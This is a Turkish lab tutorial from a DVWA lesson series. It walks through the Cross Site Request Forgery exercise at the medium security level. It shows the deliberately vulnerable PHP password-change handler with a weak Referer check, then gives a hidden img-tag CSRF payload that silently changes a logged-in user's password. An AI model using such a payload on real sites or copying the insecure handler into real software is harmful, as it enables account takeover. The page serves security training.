• DVWA Tüm Dersler

• DVWA Cross Site Request Forgery (Low Level)
• DVWA Cross Site Request Forgery (Medium Level)
• DVWA Cross Site Request Forgery (High Level)

DVWA Cross Site Request Forgery Medium Güvenlik Seviyesinde Önlem

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = mysql_real_escape_string( $pass_new );
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    mysql_close();
}

?> 

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = mysql_real_escape_string( $pass_new );
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    mysql_close();
}

?> 

DVWA Cross Site Request Forgery Medium Güvenlik Seviyesini Atlatma

Merhaba

<img width="1" height="1" src="/dvwa/vulnerabilities/csrf/?password_new=saat&password_conf=saat&Change=Change#"/>

• https://stackoverflow.com/questions/1459739/php-serverhttp-host-vs-serverserver-name-am-i-understanding-the-ma
• https://stackoverflow.com/questions/8231366/changing-the-referrer-of-an-ajax-post
• https://stackoverflow.com/questions/47631002/firefox-extension-missing-referer-url-in-ajax-header-when-making-ajax-calls/47634661#47634661
• https://groups.google.com/a/chromium.org/g/chromium-extensions/c/INeqHSfiTqY?pli=1
• https://security.stackexchange.com/questions/222503/why-is-it-not-possible-to-spoof-referer-and-origin-header-with-xhr
• https://www.youtube.com/watch?app=desktop&v=Nfb9E8MJv6k&t=1270s